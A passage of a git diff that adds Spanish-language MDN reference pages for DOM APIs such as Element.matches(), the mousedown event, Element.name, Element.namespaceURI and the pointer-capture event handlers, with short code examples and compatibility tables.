+<p>[1] Esta API estaba disponible previamente en la  {{domxref("Node")}} API.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Element.prefix")}}</li>
+ <li>{{domxref("Attr.localName")}}</li>
+ <li>{{domxref("Node.localName")}}</li>
+</ul>
diff --git a/files/es/web/api/element/matches/index.html b/files/es/web/api/element/matches/index.html
new file mode 100644
index 0000000000..eef4ae271d
--- /dev/null
+++ b/files/es/web/api/element/matches/index.html
@@ -0,0 +1,120 @@
+---
+title: Element.matches()
+slug: Web/API/Element/matches
+tags:
+  - API
+  - DOM
+  - Elemento
+  - Referencia
+  - metodo
+  - msMatchesSelector
+  - webkitMatchesSelector
+translation_of: Web/API/Element/matches
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <strong><code>matches()</code></strong> comprueba si el {{domxref("Element")}} sería seleccionable por el selector CSS especificado en la cadena; en caso contrario, retorna <code>false</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">var <var>result</var> = <var>element</var>.matches(<var>selectorString</var>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p><code><var>selectorString</var></code> es una cadena de texto que representa el selector a probar.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><code><var>result</var></code> es un {{domxref("Boolean")}}.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La cadena especificada como selector no es válida.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html notranslate">&lt;ul id="aves"&gt;
+  &lt;li&gt;Loro de alas naranja&lt;/li&gt;
+  &lt;li class="amenazada"&gt;Ágila Filipina&lt;/li&gt;
+  &lt;li&gt;Gran Pelícano Blancpo/li&gt;
+&lt;/ul&gt;
+
+&lt;script type="text/javascript"&gt;
+  var aves = document.getElementsByTagName('li');
+
+  for (var i = 0; i &lt; aves.length; i++) {
+    if (aves[i].matches('.amenazada')) {
+      console.log('El ' + aves[i].textContent + ' está amenazada de extinción!');
+    }
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Esto mostrará "El Águila Filipina está amenazada de extinción!" en el log de la consola, dado que el elemento tiene un atributo <code>class</code> con valor <code>amenazada</code>.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para navegadores que no soportan <code>Element.matches()</code> o <code>Element.matchesSelector()</code>, pero aun incorporan soporte para <code>document.querySelectorAll()</code>, existe un polyfill:</p>
+
+<pre class="notranslate">if (!Element.prototype.matches) {
+    Element.prototype.matches =
+        Element.prototype.matchesSelector ||
+        Element.prototype.mozMatchesSelector ||
+        Element.prototype.msMatchesSelector ||
+        Element.prototype.oMatchesSelector ||
+        Element.prototype.webkitMatchesSelector ||
+        function(s) {
+            var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+                i = matches.length;
+            while (--i &gt;= 0 &amp;&amp; matches.item(i) !== this) {}
+            return i &gt; -1;
+        };
+}</pre>
+
+<p>However, given the practicality of supporting older browsers, the following should suffice for most (if not all) practical cases (ej. soporte IE9+).</p>
+
+<pre class="brush: js notranslate">if (!Element.prototype.matches) {
+  Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                              Element.prototype.webkitMatchesSelector;
+}
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-matches', 'Element.prototype.matches')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.Element.matches")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>
+  <div class="syntaxbox"><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">The syntax of Selectors</a></div>
+ </li>
+ <li>
+  <div class="syntaxbox">Otros métodos que usan selectores: {{domxref("element.querySelector()")}} and {{domxref("element.closest()")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/element/mousedown_event/index.html b/files/es/web/api/element/mousedown_event/index.html
new file mode 100644
index 0000000000..4a207e28f3
--- /dev/null
+++ b/files/es/web/api/element/mousedown_event/index.html
@@ -0,0 +1,223 @@
+---
+title: mousedown
+slug: Web/API/Element/mousedown_event
+tags:
+  - API
+  - DOM
+  - Evento
+  - Interfaz
+translation_of: Web/API/Element/mousedown_event
+---
+<p>El evento <code>mousedown</code> se activa cuando el botón de un dispositivo apuntador (usualmente el botón de un ratón) es presionado en un elemento.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("MouseEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Sí</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Sí</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Elemento</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Varios: Comenzar una acción de arrastrar y soltar; comenzar la selección de un texto; comenzar una interacción de desplazamiento (en combinación con el botón medio del mouse, si es soportado)</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>A count of consecutive clicks that happened in a short amount of time, incremented by one.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>On disabled form elements</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>On disabled form elements</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Sólo funciona para elementos {{HTMLElement("textarea")}} y algunos elementos tipo {{HTMLElement("input")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/es/web/api/element/name/index.html b/files/es/web/api/element/name/index.html
new file mode 100644
index 0000000000..717ad9dd3c
--- /dev/null
+++ b/files/es/web/api/element/name/index.html
@@ -0,0 +1,79 @@
+---
+title: Element.name
+slug: Web/API/Element/name
+tags:
+  - API
+  - Compatibilidad de los navegadores
+  - DOM
+  - Elemento
+  - Propiedad
+  - Referencia
+  - Web
+  - actualizacion
+translation_of: Web/API
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p><code><strong>name</strong></code> <span id="result_box" lang="es"><span>obtiene o establece</span> <span>la</span> <span>propiedad del nombre</span> <span>de un</span> <span>objeto DOM</span><span>;</span> <span>sólo se aplica a</span> <span>los</span> <span>siguientes elementos</span><span>:</span></span> {{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }}, and {{ HTMLelement("textarea") }}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <code>La propiedad name no esixte para otros elementos</code>; a diferencia de <a href="/en/DOM/Element.tagName" title="en/DOM/element.tagName"><code>tagName</code></a> y <a href="/en/DOM/Node.nodeName" title="en/DOM/Node.nodeName"><code>nodeName</code></a>, no es una propiedad de los modos de comunicación (interfaces) {{domxref("Node")}}, {{domxref("Element")}} or {{domxref("HTMLElement")}}.</p>
+</div>
+
+<p><code>name</code> puede ser utilizado en el método{{ domxref("document.getElementsByName()") }} , en una <a href="/en/DOM/HTMLFormElement" title="en/DOM/form">configuración</a> y con la colección de <a href="/en/DOM/form.elements" title="en/DOM/form.elements">elementos</a> de la configuración. cuando utilizamos una configuración o  elementos de una colección, puede devolver un solo elemento o una colección.</p>
+
+<h2 id="Syntax" name="Syntax">Síntasix</h2>
+
+<pre class="eval"><em>HTMLElement</em>.name = <em>string</em>;
+var elName = <em>HTMLElement</em>.name;
+
+var fControl = <em>HTMLFormElement</em>.<em>elementName</em>;
+var controlCollection = <em>HTMLFormElement</em>.elements.<em>elementName</em>;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="eval">&lt;form action="" name="formA"&gt;
+  &lt;input type="text" value="foo"&gt;
+&lt;/form&gt;
+
+&lt;script type="text/javascript"&gt;
+
+  // Get a reference to the first element in the form
+  var formElement = document.forms['formA'].elements[0];
+
+  // Give it a name
+  formElement.name = 'inputA';
+
+  // Show the value of the input
+  alert(document.forms['formA'].elements['inputA'].value);
+
+&lt;/script&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>En Internet Explorer (IE), la propiedad <code>name</code> de los objetos DOM , creada utilizando{{ domxref("document.createElement()") }} no puede ser establecida o modificada</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<p>W3C DOM 2 HTML Specification:</p>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-32783304">Anchor</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-39843695">Applet</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-34812697">Button</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">Form</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-91128709">Frame</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-96819659">iFrame</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-47534097">Image</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Input</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52696514">Map</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-31037081">Meta</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-20110362">Object</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59871447">Param</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-41636323">Select</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-70715578">Textarea</a></li>
+</ul>
diff --git a/files/es/web/api/element/namespaceuri/index.html b/files/es/web/api/element/namespaceuri/index.html
new file mode 100644
index 0000000000..e2403ce0a5
--- /dev/null
+++ b/files/es/web/api/element/namespaceuri/index.html
@@ -0,0 +1,125 @@
+---
+title: Element.namespaceURI
+slug: Web/API/Element/namespaceURI
+tags:
+  - API
+  - Compatibilidad de los navegadores
+  - DOM
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Element/namespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad <code><strong>Element.namespaceURI</strong></code> unicamente de lectura devuelve la URI namespace de el elemento, <code>o la anula si el elemento no está en un</code> namespace.</p>
+
+<div class="note">
+<p>Antes de DOM4 esta API fué definida dentro de la interfaz {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Síntasix">Síntasix</h2>
+
+<pre class="syntaxbox"><var>namespace</var> = <var>element</var>.namespaceURI</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este snippet, un elemento está siendo examinado por su {{domxref("localName")}} y  su <code>namespaceURI</code>. Si el <code>namespaceURI</code> devuelve el  XUL namespace y el <code>localName</code> devuelve "browser", entonces  se entiende  que el nodo es  XUL <code>&lt;browser/&gt;</code>.</p>
+
+<pre class="brush:js">if (element.localName == "browser" &amp;&amp;
+    element.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL browser
+}</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><span id="result_box" lang="es"><span>Esto no es un</span> <span>valor calculado</span> <span>resultante</span><span> de</span> <span>una búsqueda de</span> un namespace<span>, basado</span> <span>en un examen de</span> <span>las</span> <span>declaraciones</span> <span>del namespace</span> <span>en el campo de aplicación</span><span>.</span> <span>La</span> <span>URI del namespace</span> <span>de un nodo</span> <span>se congela</span> <span>en el momento</span> <span>de creación</span> <span>del nodo</span><span>.</span></span></p>
+
+<div id="gt-input-tool">
+<div dir="ltr" style="zoom: 1;">En Firefox 3.5 y versiones anteriores, la  URI del namespace  para elementos HTML en documentos HTML <code>es nula</code>. En versiones posteriores, de conformidad con HTML5, es <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> como en XHTML. {{gecko_minversion_inline("1.9.2")}}</div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<p>Se puede crear un elemento con el <code>namespaceURI</code> especificado utilizando el método  DOM Level 2  <a href="/en-US/docs/Web/API/Document/createElementNS" title="Document.createElementNS">document.createElementNS</a>.</p>
+
+<p>El DOM no maneja o hace valer la validación del  namespace  por si mismo. Depende de la aplicación DOM para hacer cualquier validación necesaria. Date cuenta también que el prefijo del namespace , una vez que se asocia con un particular elemento, no puede ser cambiado.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-namespaceuri", "Element.namespaceuri")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_navegadores">Compatibilidad en los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esta API estaba disponible previamente en  {{domxref("Node")}} API.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.localName")}}</li>
+ <li>{{domxref("Element.prefix")}}</li>
+ <li>{{domxref("Attr.namespaceURI")}}</li>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+</ul>
diff --git a/files/es/web/api/element/ongotpointercapture/index.html b/files/es/web/api/element/ongotpointercapture/index.html
new file mode 100644
index 0000000000..156c25f4fb
--- /dev/null
+++ b/files/es/web/api/element/ongotpointercapture/index.html
@@ -0,0 +1,133 @@
+---
+title: Element.ongotpointercapture
+slug: Web/API/Element/ongotpointercapture
+tags:
+  - API
+  - Controlador
+  - DOM
+  - Elemento
+  - Eventos Puntero
+  - Propiedad
+  - Referencia
+translation_of: Web/API/GlobalEventHandlers/ongotpointercapture
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code>ongotpointercapture</code> es una propiedad {{domxref("EventHandler")}} de la interfaz {{domxref("Element")}}  <span id="result_box" lang="es"><span>que devuelve</span> <span>el controlador de eventos</span> <span>(función</span><span>)</span> <span>para el</span></span> evento tipo {{event("gotpointercapture")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Síntasix</h2>
+
+<pre class="eval">var gotCaptureHandler = target.ongotpointercpature;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valor de Retorno</h3>
+
+<dl>
+ <dt><code>gotCaptureHandler</code></dt>
+ <dd><span id="result_box" lang="es"><span>El controlador de eventos</span>  <span>gotpointercapture</span> para el <span>elemento target</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function overHandler(ev) {
+ // Determine the target event's gotpointercapture handler
+ var gotCaptureHandler = ev.target.ongotpointercapture;
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onpointerover = overHandler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2','#widl-Element-ongotpointercapture', 'ongotpointercapture')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Versión no estable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#widl-Element-ongotpointercapture', 'ongotpointercapture')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} <sup>[1]</sup></td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementación retirada. Ver {{Bug("1166347")}}.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ event("gotpointercapture") }}</li>
+</ul>
diff --git a/files/es/web/api/element/onlostpointercapture/index.html b/files/es/web/api/element/onlostpointercapture/index.html
new file mode 100644
index 0000000000..336c672605
--- /dev/null
+++ b/files/es/web/api/element/onlostpointercapture/index.html
@@ -0,0 +1,132 @@
+---
+title: Element.onlostpointercapture
+slug: Web/API/Element/onlostpointercapture
+tags:
+  - API
+  - Controlador de Eventos
+  - DOM
+  - Eventos Puntero
+  - Propiedad
+  - Referencia
+translation_of: Web/API/GlobalEventHandlers/onlostpointercapture
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code>onlostpointercapture</code> es una propiedad {{domxref("EventHandler")}} de la interfaz {{domxref("Element")}}  <span id="result_box" lang="es"><span>que devuelve</span> <span>el controlador de eventos</span> <span>(función</span><span>)</span> <span>para el evento tipo </span></span>{{event("lostpointercapture")}} .</p>
+
+<h2 id="Syntax" name="Syntax">Síntasix</h2>
+
+<pre class="eval">var lostCaptureHandler = target.onlostpointercpature;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valor de Retorno</h3>
+
+<dl>
+ <dt><code>lostCaptureHandler</code></dt>
+ <dd>El controlador de eventos  <em>lostpointercapture</em> para el elemento <code>target</code>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function overHandler(ev) {
+ // Determine the target event's lostpointercapture handler
+ var lostCaptureHandler = ev.target.onlostpointercapture;
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onpointerover = overHandler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2','#widl-Element-onlostpointercapture', 'onlostpointercapture')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Versión no estable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#widl-Element-onlostpointercapture', 'onlostpointercapture')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
